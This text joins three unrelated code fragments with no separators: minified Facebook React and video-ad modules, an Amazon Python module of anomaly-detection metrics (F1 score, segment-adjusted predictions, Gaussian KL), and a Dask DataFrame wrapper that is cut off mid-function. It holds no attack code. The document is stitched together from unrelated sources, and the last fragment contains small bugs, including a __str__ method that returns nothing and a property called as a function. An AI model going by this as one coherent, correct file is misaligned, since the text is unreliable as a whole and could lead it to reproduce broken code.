d=a.children,e=a.deemphasized;e=e===void 0?!1:e;var f=a.expanded;f=f===void 0?!1:f;a.label;var g=a.shadow;g=g===void 0?!1:g;var h=a.size;h=h===void 0?"medium":h;var i=a.use;i=i===void 0?"primary":i;var j=babelHelpers.objectWithoutPropertiesLoose(a,["children","deemphasized","expanded","label","shadow","size","use"]);a=a.disabled;a=a===void 0?!1:a;return b("React").jsx(b("CometButtonStyles_DEPRECATED.react"),{deemphasized:e,disabled:a,expanded:f,shadow:g,size:h,use:i,children:function(a){return b("React").jsx(b("BaseButtonOrLink_DEPRECATED.react"),babelHelpers["extends"]({},j,{ref:c,xstyle:a,children:d}))}})}e.exports=b("React").forwardRef(a)}),null); __d("CometThrottle",["clearTimeout","setTimeout"],(function(a,b,c,d,e,f){"use strict";__p&&__p();function a(a,c,d){__p&&__p();d=d===void 0?{}:d;var e=d.leading,f=d.trailing,g,h,i,j=null,k=0,l=function(){k=e===!1?0:new Date(),j=null,i=a.apply(g,h)};d=function(){j!=null&&(b("clearTimeout")(j),j=null)};function m(){var d=new Date();!k&&e===!1&&(k=d);var m=c-(d-k);g=this;h=arguments;m<=0?(b("clearTimeout")(j),j=null,k=d,i=a.apply(g,h)):!j&&f!==!1&&(j=b("setTimeout")(l,m));return i}m.cancel=d;return m}e.exports=a}),null); __d("useCometSize_DO_NOT_USE",["CometThrottle","ExecutionEnvironment","HiddenSubtreePassiveContext","React","unrecoverableViolation","useResizeObserver"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g=(c=b("React")).useCallback,h=c.useContext,i=c.useEffect,j=c.useRef,k=c.useState;function a(){__p&&__p();if(!b("ExecutionEnvironment").canUseDOM)throw b("unrecoverableViolation")("useCometSize is not compatible with Server Rendering. This will break SSR! See https://fburl.com/wiki/xrzohrqb","comet_ssr");var a=j(null),c=k(null),d=c[0],e=c[1],f=h(b("HiddenSubtreePassiveContext")),l=function(a){a=a.getBoundingClientRect();var b=a.height,c=a.width;e(function(a){return(a==null?void 0:a.height)===b&&(a==null?void 0:a.width)===c?a:{height:b,width:c}})},m=g(b("CometThrottle")(function(a){var b=a.height,c=a.width;if(b===0&&c===0)return;e(function(a){return(a==null?void 0:a.height)===b&&(a==null?void 0:a.width)===c?a:{height:b,width:c}})},200,{leading:!0,trailing:!0}),[]),n=b("useResizeObserver")(m);c=g(function(b){b!==a.current&&(a.current=b,b!=null&&l(b)),n(a.current)},[n]);i(function(){if(!f.getCurrent())return;var b=f.subscribe(function(c){!c&&a.current!=null&&(l(a.current),b.remove())});return function(){return b.remove()}},[f]);i(function(){return function(){m.cancel()}},[m]);return[c,d]}e.exports=a}),null); __d("GlobalVideoPortsContexts",["React"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g=b("React").createContext,h=b("React").useContext,i=b("React").useMemo,j=g(null),k=g(null),l=g(null),m=g({currentPlaceID:null,currentVideoID:null,portalingEnabled:!1,previousPlaceMetaData:null,thisPlaceID:null});function a(a){var c=a.children,d=a.currentPlaceID,e=a.currentVideoID,f=a.portalingEnabled,g=a.previousPlaceMetaData,h=a.thisPlaceID;a=i(function(){return{currentPlaceID:d,currentVideoID:e,portalingEnabled:f,previousPlaceMetaData:g,thisPlaceID:h}},[d,e,f,g,h]);return b("React").jsx(m.Provider,{value:a,children:c})}function c(){return h(j)}function d(){return h(k)}function f(){return h(l)}function n(){return h(m)}e.exports={GlobalVideoPortsLoaderContextProvider:j.Provider,GlobalVideoPortsManagerContextProvider:k.Provider,GlobalVideoPortsStateContextProvider:l.Provider,VideoPlayerPortalingPlaceInfoProvider:a,useGlobalVideoPortsLoader:c,useGlobalVideoPortsManager:d,useGlobalVideoPortsState:f,useVideoPlayerPortalingPlaceInfo:n}}),null); __d("VideoPlayerViewabilityHooks",["VideoPlayerHooks"],(function(a,b,c,d,e,f){"use strict";a=b("VideoPlayerHooks").useVideoPlayerPassiveViewabilityInfo;c=b("VideoPlayerHooks").useVideoPlayerViewabilityInfo;e.exports={useVideoPlayerPassiveViewabilityInfo:a,useVideoPlayerViewabilityInfo:c}}),null); __d("FDSBaseSwitch.react",["cx","FDSPrivateBaseBinaryInputLayout.react","FDSPrivateInputHooks","FDSPrivateThemeContext.react","React","makeFDSStandardComponent"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();var h=b("FDSPrivateInputHooks").useFocusManagement,i=b("FDSPrivateInputHooks").useHoverManagement,j=b("React").useCallback,k=b("React").useContext;function a(a){__p&&__p();var c=a["data-testid"],d=a.describedBy,e=a.htmlForTargetId,f=a.isDisabled,g=f===void 0?!1:f;f=a.labelledBy;var k=a.onChange,l=a.size;l=l===void 0?"medium":l;var o=a.value;a=a.fdsOverride_disableAnimation;var p=h(),q=p.isFocused,r=p.onBlur;p=p.onFocus;var s=i(),t=s.isHovering,u=s.onMouseEnter;s=s.onMouseLeave;var v=l==="large",w=j(function(a){g!==!0&&k(a.target.checked,a)},[k,g]);q={isFocused:q,isHovering:t,isDisabled:g,isChecked:o,isLarge:v};v=n(q);q=m(q);return b("React").jsx(b("FDSPrivateBaseBinaryInputLayout.react"),{input:b("React").jsx("input",{"aria-checked":o,"aria-describedby":d,"aria-labelledby":f,checked:o,className:g?"_7q1g":"","data-testid":c,disabled:g,id:e?e:void 0,onBlur:r,onChange:w,onFocus:p,onMouseEnter:u,onMouseLeave:s,role:"switch",type:"checkbox"}),isDisabled:g,children:b("React").jsxs("div",{className:"_7q1e"+(a===!0?" _79d3":""),children:[b("React").jsx("div",{className:"_79d2"+(o?" _7q1f":"")+(g?" _7q1g":"")+(t?" _7qr0":"")+(l==="large"?" _79d4":""),style:v}),b("React").jsx("span",{className:"_7q1t",style:q})]})})}function l(){var a=k(b("FDSPrivateThemeContext.react"));return{checked:{"default":{backgroundColor:a.binaryControls.checked.normal.backgroundColor,opacity:a.binaryControls.checked.normal.opacity},disabled:{backgroundColor:a.binaryControls.checked.disabled.backgroundColor,opacity:a.binaryControls.checked.disabled.opacity},focused:{backgroundColor:a.binaryControls.checked.active.backgroundColor,opacity:a.binaryControls.checked.active.opacity},hovered:{backgroundColor:a.binaryControls.checked.hover.backgroundColor,opacity:a.binaryControls.checked.hover.opacity}},unchecked:{"default":{border:a.binaryControls.unchecked.normal.border,boxShadow:a.binaryControls.unchecked.normal.boxShadow,backgroundColor:a.binaryControls.unchecked.normal.backgroundColor},disabled:{backgroundColor:a.binaryControls.unchecked.disabled.backgroundColor,border:a.binaryControls.unchecked.disabled.border,boxShadow:a.binaryControls.unchecked.disabled.boxShadow},focused:{backgroundColor:a.binaryControls.unchecked.active.backgroundColor,border:a.binaryControls.unchecked.active.border,boxShadow:a.binaryControls.unchecked.active.boxShadow},hovered:{backgroundColor:a.binaryControls.unchecked.hover.backgroundColor,border:a.binaryControls.unchecked.hover.border,boxShadow:a.binaryControls.unchecked.hover.boxShadow}},borderRadius:a.binaryControls.borderRadius,height:{medium:a.binaryControls.height.medium,large:a.binaryControls.height.large},width:{medium:a.binaryControls.width.medium,large:a.binaryControls.width.large}}}function m(a){__p&&__p();a.isFocused;a.isHovering;var c=a.isDisabled,d=a.isChecked;a=a.isLarge;var e=k(b("FDSPrivateThemeContext.react"));c=c?e.binaryControls.slider.disabled.backgroundColor:void 0;if(d){d=a?e.binaryControls.slider.checked.size.large:e.binaryControls.slider.checked.size.medium;return{backgroundColor:c,height:d,marginLeft:e.binaryControls.slider.checked.marginLeft,width:d}}d=a?e.binaryControls.slider.size.large:e.binaryControls.slider.size.medium;return{backgroundColor:c,height:d,marginLeft:e.binaryControls.slider.margin!=null?e.binaryControls.slider.margin:void 0,width:d}}function n(a){var b=a.isFocused,c=a.isHovering,d=a.isDisabled,e=a.isChecked;a=a.isLarge;var f=l(),g=f.unchecked["default"].backgroundColor,h=f.unchecked["default"].border,i=f.unchecked["default"].boxShadow,j,k=a?f.width.large:f.width.medium;a=a?f.height.large:f.height.medium;e?(g=f.checked["default"].backgroundColor,j=f.checked["default"].opacity,c&&(g=f.checked.hovered.backgroundColor,j=f.checked.hovered.opacity),b&&(i=f.unchecked.focused.boxShadow,h=f.unchecked.focused.border,g=f.checked.focused.backgroundColor,j=f.checked.focused.opacity),d&&(i=f.unchecked.disabled.boxShadow,h=f.unchecked.disabled.border,g=f.checked.disabled.backgroundColor,j=f.checked.disabled.opacity)):(c&&(g=f.unchecked.hovered.backgroundColor,i=f.unchecked.hovered.boxShadow,h=f.unchecked.hovered.border),b&&(g=f.unchecked.focused.backgroundColor,i=f.unchecked.focused.boxShadow,h=f.unchecked.focused.border),d&&(g=f.unchecked.disabled.backgroundColor,i=f.unchecked.disabled.boxShadow,h=f.unchecked.disabled.border));return{borderRadius:f.borderRadius,backgroundColor:g,border:h,boxShadow:i,height:a,opacity:j,width:k,maxWidth:k}}e.exports=b("makeFDSStandardComponent")("FDSBaseSwitch",a)}),null); __d("FDSSwitch.react",["cx","FDSBaseSwitch.react","FDSPrivateDisabledMessageWrapper.react","FDSText.react","FlexLayout.react","React","cxMargin","makeFDSStandardComponent","stylex","uniqueID"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();var h;a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){var c,d;for(var e=arguments.length,f=new Array(e),g=0;g<e;g++)f[g]=arguments[g];return(c=d=a.call.apply(a,[this].concat(f))||this,d.$1=b("uniqueID")(),d.$2=b("uniqueID")(),c)||babelHelpers.assertThisInitialized(d)}var d=c.prototype;d.render=function(){var a=this.props,c=a.description,d=a.disabledMessage,e=a.isDisabled,f=a.label,g=a.labelIsHidden,h=a.labelPosition,i=a.onChange,k=a.size;a=a.value;c=b("React").jsx(j,{description:c,descriptionId:this.$2,id:this.$1,isDisabled:e,isPrefix:h==="prefix",label:f,labelIsHidden:g});f="center";g||(f=h==="prefix"?"right":"left");return b("React").jsxs(b("FlexLayout.react"),{align:"center",children:[h==="prefix"?c:null,b("React").jsx(b("FDSPrivateDisabledMessageWrapper.react"),{alignment:f,disabledMessage:d,fdsPrivate_loggerSuffix:"InFDSSwitch",isDisabled:e,children:b("React").jsx(b("FDSBaseSwitch.react"),{"data-testid":this.props["data-testid"],describedBy:this.props.description!=null?this.$2:void 0,htmlForTargetId:this.$1,isDisabled:e,onChange:i,size:k,value:a})}),h==="suffix"?c:null]})};return c}(b("React").PureComponent);a.defaultProps={isDisabled:!1,labelIsHidden:!1,labelPosition:"prefix",size:"medium"};function i(a){return b("React").jsx("div",{className:(h||(h=b("stylex"))).dedupe(a.isPrefix?{"font-weight-1":"db2ihn4m","padding-end-1":"rnur6hgu","user-select-1":"nngj4jli"}:{},a.isPrefix?null:{"font-weight-1":"db2ihn4m","padding-start-1":"t8j81tsk","user-select-1":"nngj4jli"}),children:b("React").jsx(b("FDSText.react"),{color:"secondary",id:a.id,margin:"_3-8w",size:"body3",children:a.description})})}function j(a){var c=b("React").jsx("label",{className:(a.isPrefix?"_7a90":"")+(a.isPrefix?"":" _7a91")+(a.labelIsHidden?" accessible_elem":""),htmlFor:a.id,children:b("React").jsx(b("FDSText.react"),{color:a.isDisabled?"disabled":"primary",size:"body1",children:a.label})});return a.description!=null?b("React").jsxs(b("FlexLayout.react"),{direction:"vertical",children:[c,b("React").jsx(i,{description:a.description,id:a.descriptionId,isPrefix:a.isPrefix})]}):c}e.exports=b("makeFDSStandardComponent")("FDSSwitch",a)}),null); __d("LeftFitRightFillLayout.react",["invariant","Layout.react","React"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();var h=b("Layout.react").Column,i=b("Layout.react").FillColumn;a=function(a){babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.render=function(){var a=this.props.children;a&&a.length===2||g(0,1534);return b("React").jsxs(b("Layout.react"),{className:this.props.className,children:[b("React").jsx(h,{className:this.props.fitColumnClassName,children:a[0]}),b("React").jsx(i,{className:this.props.fillColumnClassName,children:a[1]})]})};return c}(b("React").PureComponent);e.exports=a}),null); __d("WoodhengePromotionStrings",["fbt"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();a={SUPPORT_NOW_CTA_TITLE:g._("Jadi Penyokong"),SUPPORT_NOW_CTA_DESCRIPTION:function(a){return g._("Sokong {Page Name} dan nikmati manfaat yang istimewa.",[g._param("Page Name",a)])},SUPPORT_NOW_CTA_BUTTON_TEXT:g._("Sokong Sekarang"),START_FREE_TRIAL_CTA_TITLE:g._("Join the Community"),START_FREE_TRIAL_CTA_DESCRIPTION:function(a){return g._("Mulakan langganan untuk menyokong {Page Name}",[g._param("Page Name",a)])},START_FREE_TRIAL_CTA_BUTTON_TEXT:g._("Dapatkan 1 Bulan Percuma"),COMPOSER_NUX_TEXT:g._("Add a call-to-action button to spread awareness of your fan subscriptions."),SUPPORTER_GOAL_MODAL_HEADER:g._("TETAPKAN MATLAMAT"),SUPPORTER_GOAL_MODAL_DESCRIPTION_PART_1:g._("Set a goal and offer your community an incentive to help you reach it."),SUPPORTER_GOAL_MODAL_DESCRIPTION_PART_2:g._("This goal will be displayed when you add a subscription button to a post. The goal doesn't have a time limit, it can be edited anytime, and it will automatically disappear when it's met."),SUPPORTER_GOAL_HEADER:g._("Goal"),SUPPORTER_GOAL_SHOW_CURRENT_TOTAL_NUMBER_CHECKBOX_TEXT:g._("Show the current total number"),SUPPORTER_GOAL_SHOW_CURRENT_TOTAL_NUMBER_CHECKBOX_TOOLTIP:g._("The total number of whatever you're trying to increase will be displayed. For example, if you're trying to get new supporters, the total number of supporters you currently have will be displayed."),SUPPORTER_GOAL_TITLE_HEADER:g._("Tajuk matlamat"),SUPPORTER_GOAL_TITLE_GHOST_TEXT:function(a){return a?g._("Write a title for your goal..."):g._("Let's Grow the Supporter Community!")},SUPPORTER_GOAL_INCENTIVE_HEADER:g._("Incentive Description"),SUPPORTER_GOAL_INCENTIVE_GHOST_TEXT:function(a){return a?g._("Write a message to thank your followers once the goal is met..."):g._("If we reach this goal, I'll give supporters a behind-the-scenes look at how I create my content!")},SUPPORTER_GOAL_INCENTIVE_TOOLTIP:g._("Offering a reward will encourage your community to help you achieve your goal. Be sure to offer something that you can reliably deliver."),SUPPORTER_GOAL_DROPDOWN_MENU_WITHOUT_TOTAL_NUMBER:function(a){return g._("{Number of supporters selected} New Supporters",[g._param("Number of supporters selected",a)])},SUPPORTER_GOAL_DROPDOWN_MENU_WITH_TOTAL_NUMBER:function(a){return g._("{Number of supporters selected} Supporters",[g._param("Number of supporters selected",a)])},SUPPORTER_GOAL_DROPDOWN_MENU_PLACEHOLDER_TEXT:g._("No goal selected"),ADD_SUPPORTER_GOAL_BUTTON_TEXT:g._("Add a Goal"),ADD_SUPPORTER_GOAL_BUTTON_TOOLTIP:g._("Create a goal to get new supporters. This goal will be shown on your post next to the subscription button."),PROGRESS_BAR_DESCRIPTION_WITH_TOTAL_NUMBER:function(a,b){return g._("{current progress number} of {target progress number} Supporters",[g._param("current progress number",a),g._param("target progress number",b)])},PROGRESS_BAR_DESCRIPTION_WITHOUT_TOTAL_NUMBER:function(a,b){return g._("{current progress number} of {target progress number} New Supporters",[g._param("current progress number",a),g._param("target progress number",b)])},SUPPORTER_GOAL_NULLSTATE_TEXT:g._("Your goal will appear here."),SUPPORTER_GOAL_PROMPT_MESSAGE:g._("Post about your goal")};e.exports=a}),null); __d("VideoComponentCommercialBreakStartingIndicator.react",["cx","CommercialBreakStartingIndicator.react","React","ReactDOM","VideoComponent"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.enable=function(a){this.$1=a,this.$2()};d.disable=function(){this.$1=null};d.$2=function(a){this.$1&&this.refs.root&&b("ReactDOM").render(b("React").jsx(b("CommercialBreakStartingIndicator.react"),{adsStopped:a,container:this.refs.root,controller:this.$1,vodTransitionRedesign:!0}),this.refs.root)};d.componentDidMount=function(){this.$2()};d.componentDidUpdate=function(a){a.adsStopped!==this.props.adsStopped&&this.$2(this.props.adsStopped)};d.shouldComponentUpdate=function(a,b){return!1};d.render=function(){return b("React").jsx("div",{ref:"root",className:"_167h _2lwf _4ubd _3ee8 _20dq _2h-t _o9y _3htz _5odv"})};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a)}),null); __d("VideoComponentCommercialBreakVideoAdOverlay.react",["cx","CommercialBreakVideoAdOverlay","React","VideoComponent"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.enable=function(a){this.$1=new(b("CommercialBreakVideoAdOverlay"))({root:this.refs.root}),this.$1.enable(a)};d.disable=function(){this.$1&&this.$1.stopAdWithoutTransition(),this.$1=null};d.componentDidUpdate=function(a,b){this.props.adsStopped&&!a.adsStopped&&this.$1&&this.$1.stopAdWithoutTransition()};d.shouldComponentUpdate=function(a,b){return!1};d.render=function(){var a="_4wd3 _50m2 _167h _4ubd _2lwf";return b("React").jsx("div",{ref:"root",className:a})};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a)}),null); __d("VideoComponentCommercialBreakVodTransitionOverlay.react",["cx","React","VideoCommercialBreakTransitionOverlay","VideoComponent"],(function(a,b,c,d,e,f,g){"use strict";__p&&__p();a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.enable=function(a){this.$1=new(b("VideoCommercialBreakTransitionOverlay"))({root:this.refs.root,body:this.refs.body,ownerName:null,ownerPictureUri:null,interactiveAlertAdStartedConfig:null}),this.$1.enable(a)};d.disable=function(){this.$1=null};d.shouldComponentUpdate=function(a,b){return!1};d.render=function(){return b("React").jsx("div",{ref:"root",className:"_2lwf _4ubd _4fii _bvi _167h",children:b("React").jsx("div",{ref:"body",className:"_3j0w"})})};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a)}),null); __d("VideoComponentScrubberPreview.react",["React","RelayModern","VideoComponent","VideoScrubberPreviewComponent","VideoComponentScrubberPreviewQuery.graphql"],(function(a,b,c,d,e,f){"use strict";__p&&__p();b("RelayModern").graphql;a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.componentDidUpdate=function(a){__p&&__p();var c=this.props.video;if(c&&c!==a.video){a={};Object.assign(a,c.scrubberPreviewThumbnailInformation);if(Array.isArray(a.spriteIndexToURIMap)){c=a.spriteIndexToURIMap.slice();c.unshift(null);a.spriteIndexToURIMap=c}new(b("VideoScrubberPreviewComponent"))(this.vpc,a)}};d.disable=function(a){};d.enable=function(a){this.vpc=a};d.render=function(){return null};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a,{videoGraphQLQuery:function(){return b("VideoComponentScrubberPreviewQuery.graphql")}})}),null); __d("VideoComponentVodWithCommercialBreak.react",["React","VideoComponent","VodWithCommercialBreak"],(function(a,b,c,d,e,f){"use strict";__p&&__p();a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.enable=function(a){this.$1=a,this.$2=new(b("VodWithCommercialBreak"))({videoPlayerController:a,adBreaks:this.props.adBreaks})};d.componentDidUpdate=function(a){this.$2&&JSON.stringify(this.props.adBreaks)!==JSON.stringify(a.adBreaks)&&this.$2.setAdBreaks(this.props.adBreaks)};d.disable=function(){this.$1=null,this.$2=null};d.render=function(){return null};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a)}),null); __d("VideoComponentWithCommercialBreak.react",["React","VideoComponent","VideoWithCommercialBreak"],(function(a,b,c,d,e,f){"use strict";__p&&__p();a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(){return a.apply(this,arguments)||this}var d=c.prototype;d.enable=function(a){this.$1=new(b("VideoWithCommercialBreak"))({}),this.$1.enable(a)};d.disable=function(){this.$1=null};d.render=function(){return null};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a)}),null); __d("VideoComponentWithInstreamVideo.react",["ComposerAdBreaksPreviewConfig","React","RelayModern","VideoComponent","VideoWithInstreamVideo","VideoComponentWithInstreamVideoQuery.graphql"],(function(a,b,c,d,e,f){"use strict";__p&&__p();b("RelayModern").graphql;a=function(a){__p&&__p();babelHelpers.inheritsLoose(c,a);function c(c){var d;d=a.call(this,c)||this;c.shouldUsePreviewConfig&&b("ComposerAdBreaksPreviewConfig").config&&(d.$1=b("ComposerAdBreaksPreviewConfig").config);return d}var d=c.prototype;d.UNSAFE_componentWillReceiveProps=function(a){!a.shouldUsePreviewConfig&&a.video&&a.video!==this.props.video&&(this.$1=JSON.parse(a.video.adBreaksViewerConfig),this.$4()),this.$2&&a.thumbnailURLForPreview&&this.$2.setThumbnailURLForPreview(a.thumbnailURLForPreview)};d.enable=function(a){this.$3=a,this.$4()};d.$4=function(){var a=this.$3;a&&this.$1&&(this.$2=new(b("VideoWithInstreamVideo"))(this.$1),this.$2.enable(a),a.emit("commercialBreak/videoWithInstreamVideoReady"))};d.disable=function(){this.$2=null,this.$3=null};d.render=function(){return null};return c}(b("React").Component);e.exports=b("VideoComponent").createContainer(a,{videoGraphQLQuery:function(){return b("VideoComponentWithInstreamVideoQuery.graphql")}})}),null); __d("isEmptyObject",[],(function(a,b,c,d,e,f){"use strict";function a(a){for(var b in a)return!1;return!0}e.exports=a}),null); __d("useDebounced",["React","debounce"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g=b("React").useEffect,h=b("React").useMemo,i=b("React").useRef;function a(a,c){__p&&__p();c===void 0&&(c=100);var d=i(a);g(function(){d.current=a},[a]);var e=h(function(){return b("debounce")(function(){return d.current.apply(d,arguments)},c)},[c]);g(function(){return e.reset},[e]);return e}e.exports=a}),null); __d("requireDeferredForDisplay",["requireDeferred"],(function(a,b,c,d,e,f){"use strict";function a(a){return b("requireDeferred").call(null,a)}e.exports=a}),null); __d("WebSessionExtender",["WebSession","clearInterval","setInterval"],(function(a,b,c,d,e,f){"use strict";var g=3e4,h=new Set(),i=null;a={subscribe:function(a){h.add(a),i==null&&(b("WebSession").extend(Date.now()+g+2e3),i=b("setInterval")(function(){b("WebSession").extend(Date.now()+g+2e3)},g))},unsubscribe:function(a){h["delete"](a);a=h.size;a===0&&i!=null&&(b("clearInterval")(i),i=null)}};e.exports=a}),null); __d("URLSearchParams",[],(function(a,b,c,d,e,f){__p&&__p();var g=/\+/g,h=/[!\'()*]/g,i=/%20/g;function j(a){return encodeURIComponent(a).replace(i,"+").replace(h,function(a){return"%"+a.charCodeAt(0).toString(16)})}function k(a){return decodeURIComponent((a=a)!=null?a:"").replace(g," ")}var l=typeof Symbol==="function"?Symbol.iterator:"@@iterator";a=function(){"use strict";__p&&__p();function a(a){a===void 0&&(a="");a=a;a[0]==="?"&&(a=a.substr(1));this.$1=a.length?a.split("&").map(function(a){a=a.split("=");var b=a[0];a=a[1];return[k(b),k(a)]}):[]}var b=a.prototype;b.append=function(a,b){this.$1.push([a,String(b)])};b["delete"]=function(a){for(var b=0;b<this.$1.length;b++)this.$1[b][0]===a&&(this.$1.splice(b,1),b--)};b.entries=function(){return this.$1[typeof Symbol==="function"?Symbol.iterator:"@@iterator"]()};b.get=function(a){for(var b=0,c=this.$1.length;b<c;b++)if(this.$1[b][0]===a)return this.$1[b][1];return null};b.getAll=function(a){var b=[];for(var c=0,d=this.$1.length;c<d;c++)this.$1[c][0]===a&&b.push(this.$1[c][1]);return b};b.has=function(a){for(var b=0,c=this.$1.length;b<c;b++)if(this.$1[b][0]===a)return!0;return!1};b.keys=function(){var a=this.$1.map(function(a){var b=a[0];a[1];return b});return a[typeof Symbol==="function"?Symbol.iterator:"@@iterator"]()};b.set=function(a,b){var c=!1;for(var d=0;d<this.$1.length;d++)this.$1[d][0]===a&&(c?(this.$1.splice(d,1),d--):(this.$1[d][1]=String(b),c=!0));c||this.$1.push([a,String(b)])};b.toString=function(){return this.$1.map(function(a){var b=a[0];a=a[1];return j(b)+"="+j(a)}).join("&")};b.values=function(){var a=this.$1.map(function(a){a[0];a=a[1];return a});return a[typeof Symbol==="function"?Symbol.iterator:"@@iterator"]()};b[l]=function(){return this.entries()};return a}();e.exports=a}),null); __d("XLiveScheduleSubscriptionController",["XController"],(function(a,b,c,d,e,f){e.exports=b("XController").create("/live_video_schedule/subscription/",{video_broadcast_schedule_id:{type:"FBID"},video_id:{type:"FBID"},subscribe:{type:"Bool",defaultValue:!1},origin:{type:"String"}})}),null);
""" Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import numpy as np import torch def de_unfold(x_windows, mask_windows, window_step): """ x_windows of shape (n_windows, n_features, 1, window_size) mask_windows of shape (n_windows, n_features, 1, window_size) """ n_windows, n_features, _, window_size = x_windows.shape assert (window_step == 1) or (window_step == window_size), 'Window step should be either 1 or equal to window_size' len_series = (n_windows)*window_step + (window_size-window_step) x = np.zeros((len_series, n_features)) mask = np.zeros((len_series, n_features)) n_windows = len(x_windows) for i in range(n_windows): x_window = x_windows[i,:,0,:] x_window = np.swapaxes(x_window,0,1) x[i*window_step:(i*window_step+window_size),:] += x_window mask_window = mask_windows[i,:,0,:] mask_window = np.swapaxes(mask_window,0,1) mask[i*window_step:(i*window_step+window_size),:] += mask_window division_safe_mask = mask.copy() division_safe_mask[division_safe_mask==0]=1 x = x/division_safe_mask mask = 1*(mask>0) return x, mask def kl_multivariate_gaussian(mu, sigma): #print('mu.shape', mu.shape) #print('sigma.shape', sigma.shape) D = mu.shape[-1] # KL per timestamp # assumes that the prior has prior_mu:=0 # (T, batch, D) KL collapses D trace = torch.sum(sigma**2, dim=2) mu = torch.sum(mu**2, dim=2) log_sigma = torch.sum(torch.log(sigma**2 + 1e-5), dim=2) # torch.log(sigma**2) is the determinant for diagonal + log properties kl = 0.5*(trace + mu - log_sigma - D) # Mean KL kl = torch.mean(kl) if torch.isnan(kl): print('kl', kl) print('trace', trace) print('mu', mu) print('log_sigma', log_sigma) assert 1<0 return kl def f1_score(predict, actual): TP = np.sum(predict * actual) TN = np.sum((1 - predict) * (1 - actual)) FP = np.sum(predict * (1 - actual)) FN = np.sum((1 - predict) * actual) precision = TP / (TP + FP + 0.00001) recall = TP / (TP + FN + 0.00001) f1 = 2 * precision * recall / (precision + recall + 0.00001) return f1, precision, recall, TP, TN, FP, FN def adjust_predicts(score, label, threshold=None, pred=None, calc_latency=False): """ Calculate adjusted predict labels using given `score`, `threshold` (or given `pred`) and `label`. Args: score (np.ndarray): The anomaly score label (np.ndarray): The ground-truth label threshold (float): The threshold of anomaly score. A point is labeled as "anomaly" if its score is lower than the threshold. pred (np.ndarray or None): if not None, adjust `pred` and ignore `score` and `threshold`, calc_latency (bool): Returns: np.ndarray: predict labels """ if len(score) != len(label): raise ValueError("score and label must have the same length") score = np.asarray(score) label = np.asarray(label) latency = 0 if pred is None: predict = score < threshold else: predict = pred actual = label > 0.1 anomaly_state = False anomaly_count = 0 for i in range(len(score)): if actual[i] and predict[i] and not anomaly_state: anomaly_state = True anomaly_count += 1 for j in range(i, 0, -1): if not actual[j]: break else: if not predict[j]: predict[j] = True latency += 1 elif not actual[i]: anomaly_state = False if anomaly_state: predict[i] = True if calc_latency: return predict, latency / (anomaly_count + 1e-4) else: return predict def best_f1_linspace(scores, labels, n_splits, segment_adjust): best_threshold = 0 best_f1 = 0 thresholds = np.linspace(scores.min(),scores.max(), n_splits) for threshold in thresholds: predict = scores>=threshold if segment_adjust: predict = adjust_predicts(score=scores, label=labels, threshold=None, pred=predict, calc_latency=False) f1, *_ = f1_score(predict, labels) if f1 > best_f1: best_threshold = threshold best_f1 = f1 predict = scores>=best_threshold if segment_adjust: predict = adjust_predicts(score=scores, label=labels, threshold=None, pred=predict, calc_latency=False) f1, precision, recall, *_ = f1_score(predict, labels) return f1, precision, recall, predict, labels, best_threshold def normalize_scores(scores, interval_size): scores_normalized = [] for score in scores: n_intervals = int(np.ceil(len(score)/interval_size)) score_normalized = [] for i in range(n_intervals): min_timestamp = i*interval_size max_timestamp = (i+1)*interval_size std = score[:max_timestamp].std() score_interval = score[min_timestamp:max_timestamp]/std score_normalized.append(score_interval) score_normalized = np.hstack(score_normalized) scores_normalized.append(score_normalized) return scores_normalized
#!/usr/bin/env python # -*- coding: utf-8 -*- import logging import pandas as pd import dask.dataframe as dd from dask.distributed import Client from Octopus.dataframe.core.pandasDataFrame import PandasDataFrame from Octopus.dataframe.core.abstractDataFrame import AbstractDataFrame # client = Client(address="simple34:8786", n_workers=4, threads_per_worker=24, processes=True, memory_limit="25GB") class DaskDataFrame(AbstractDataFrame): def __init__(self, data=None, index=None, columns=None, dtype=None, copy=False): if type(data) == PandasDataFrame: self.dataframe = dd.from_pandas(data, npartitions=16) elif type(data) == dd.DataFrame or type(data) == dd.Series: self.dataframe = data else: self.dataframe = dd.from_pandas(pd.DataFrame(data=data, index=index, columns=columns, dtype=dtype, copy=copy), npartitions=16) self.partitions = 16 def __str__(self): self.dataframe.__str__() def filter(self, items=None, like=None, regex=None, axis=None): raise Exception("Dask DataFrame not support filter now") def head(self, n): return DaskDataFrame(self.dataframe.head(n)) @property def size(self): return self.dataframe.size() def from_parquet(self, path): self.dataframe.from_parquet(path) def to_csv(self, path_or_buf=None, sep=",", na_rep='', float_format=None, columns=None, header=True, index=True, index_label=None, mode='w', encoding=None, compression=None, quoting=None, 